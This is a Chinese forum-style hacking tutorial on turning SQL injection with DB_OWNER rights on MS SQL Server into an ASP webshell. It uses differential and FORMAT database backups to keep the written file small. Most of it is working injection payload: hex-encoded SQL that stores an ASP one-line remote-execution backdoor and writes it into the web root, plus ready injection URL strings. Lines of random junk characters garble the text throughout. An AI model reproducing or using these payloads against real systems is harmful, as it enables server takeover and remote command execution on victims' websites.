DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
, o9 v9 V8 H6 H- |
( C  P3 g+ s" I5 Y& K, b一利用差异备份
加一个参数WITH DIFFERENTIAL
; }( I$ P& u4 x# T* O  C2 U* @8 _
, W8 ]4 N; p8 K  V0 k5 m: kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
! y8 e  i! i/ \! }2 z2 Ycreate table [dbo].[xiaolu] ([cmd] [image]);
0 O% X# Y/ t: U* w. Einsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
) D) U3 v$ I* H- @加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
) W+ j2 \* v# h: Dcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
5 }' `( X/ r# ?, D$ I  P  `declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
, Q( S/ b5 X9 z# U# b) B1 E
总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)
* F/ z' w. X, c+ D) A: j
id=1;backup database model to disk=’你的路径‘ with differential,format;–
9 {5 T. Y2 @" Y0 z6 P$ n, g
* I- d( _1 _6 \/ v; W3 `5 V